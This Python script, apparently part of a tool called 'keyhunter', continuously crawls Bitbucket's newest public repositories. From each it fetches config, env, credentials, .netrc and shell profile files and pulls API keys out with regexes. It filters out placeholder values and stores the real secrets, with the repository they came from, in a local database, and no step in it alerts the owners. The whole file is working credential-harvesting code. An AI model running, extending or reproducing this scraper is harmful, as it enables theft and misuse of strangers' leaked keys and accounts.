keyhunter-parser/bitbucket_eternal.py

"""Bitbucket eternal lane — public repos sorted by -updated_on, scan root tree
for config/env files, fetch raw, regex keys → keys.db."""
import os
KF_BASE = os.path.dirname(os.path.abspath(__file__))
os.makedirs(os.path.join(KF_BASE, "data"), exist_ok=True)
import re
import sqlite3
import threading
import time
import hashlib
import os
import requests
_S = requests.Session()
_S.trust_env = False

DB = os.environ.get("KF_DB") or os.path.join(KF_BASE, "data/keys.db")
REST = 300  # sec after cycle
WORKERS = 12
PAGES_PER_CYCLE = 40  # 40*100 = 4000 repos per cycle
API = "https://api.bitbucket.org/2.0"

H = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}

# filenames worth fetching raw
INTERESTING = re.compile(
    r'(^|\.)(env|config|settings|credentials|secrets?|tokens?|keys?|auth)\b'
    r'|\.env|\.ini$|\.cfg$|\.properties$|\.toml$|\.yaml$|\.yml$|\.json$'
    r'|\.bashrc|\.profile|\.netrc', re.I)

from key_patterns import PATTERNS

GARBAGE = re.compile(r'(pass|word|test|exam|ple|dummy|fake|xxxx|1234|sample|your|here|placeholder|insert|replace|REPLACE|secret|token|key)\b', re.I)
# TODO placeholder check applied to exact value when short

db = sqlite3.connect(DB, timeout=120, check_same_thread=False, isolation_level=None)
db.execute("PRAGMA busy_timeout=120000")
DB_LOCK = threading.Lock()


def log(msg):
    print(time.strftime("[%H:%M:%S] ") + msg, flush=True)


def seen_vals():
    cur = db.cursor()
    cur.execute("SELECT val FROM keys")
    return {r[0] for r in cur.fetchall()}


def insert_key(key, prov, repo):
    h = hashlib.sha1(key.encode()).hexdigest()[:16]
    with DB_LOCK:
        try:
            db.execute(
                "INSERT INTO keys (hash, val, prov, status, found, repo) "
                "VALUES (?,?,?,?,?,?) "
        "ON CONFLICT(hash) DO UPDATE SET status='NEW', found=excluded.found, repo=excluded.repo "
        "WHERE keys.status IN ('DEAD','ERR')",
                (h, key, prov, "NEW", "bitbucket-eternal", repo))
            db.commit()
        except sqlite3.Error:
            pass


def garbage(key):
    return bool(GARBAGE.search(key))


def scan_repo(full_slug, seen):
    """List root tree, fetch interesting files raw, regex."""
    n = 0
    try:
        r = _S.get(f"{API}/repositories/{full_slug}/src",
                         params={"pagelen": 100}, headers=H, timeout=20)
        if r.status_code != 200:
            return 0
        for ent in r.json().get("values", []):
            if ent.get("type") != "commit_file":
                continue
            path = ent.get("path", "")
            if not INTERESTING.search(path):
                continue
            try:
                raw = _S.get(f"{API}/repositories/{full_slug}/raw/{path}",
                                   headers=H, timeout=20)
                if raw.status_code != 200 or len(raw.text) > 300_000:
                    continue
                text = raw.text
            except Exception:
                continue
            for prov, rx in PATTERNS:
                for key in rx.findall(text):
                    if isinstance(key, tuple):
                        key = key[0]
                    key = key.strip().strip('"\'`.,:')
                    if not key or key in seen:
                        continue
                    if garbage(key) and len(key) < 50:
                        continue
                    insert_key(key, prov, full_slug)
                    seen.add(key)
                    n += 1
                    log(f"  +{prov} {key[:12]}… {full_slug}")
    except Exception:
        pass
    return n


def cycle(seen):
    total = 0
    lock = threading.Lock()
    pages = list(range(1, PAGES_PER_CYCLE + 1))
    idx = [0]
    errs = [0]

    def work():
        nonlocal total
        while True:
            with lock:
                if idx[0] >= len(pages):
                    return
                page = pages[idx[0]]
                idx[0] += 1
            try:
                r = _S.get(f"{API}/repositories",
                                 params={"pagelen": 100, "page": page,
                                         "sort": "-updated_on"},
                                 headers=H, timeout=25)
                if r.status_code != 200:
                    with lock:
                        errs[0] += 1
                        if errs[0] == 1:
                            log(f"  page {page}: HTTP {r.status_code} {r.text[:80]}")
                    continue
                repos = [v["full_name"] for v in r.json().get("values", [])
                         if v.get("full_name")]
            except Exception as e:
                with lock:
                    errs[0] += 1
                    if errs[0] == 1:
                        log(f"  page {page} err: {e!r}")
                continue
            got = sum(scan_repo(slug, seen) for slug in repos)
            with lock:
                total += got
            time.sleep(1)  # politeness

    ths = [threading.Thread(target=work, daemon=True) for _ in range(WORKERS)]
    for t in ths:
        t.start()
    for t in ths:
        t.join()
    return total, errs[0]


def main():
    log(f"=== BITBUCKET eternal START threads={WORKERS} ===")
    while True:
        try:
            seen = seen_vals()
            n, fails = cycle(seen)
            log(f"CYCLE done: +{n} new, {fails} page-fails; resting {REST}s")
        except Exception as e:
            log(f"CYCLE error: {e}; resting {REST}s")
        time.sleep(REST)


if __name__ == "__main__":
    main()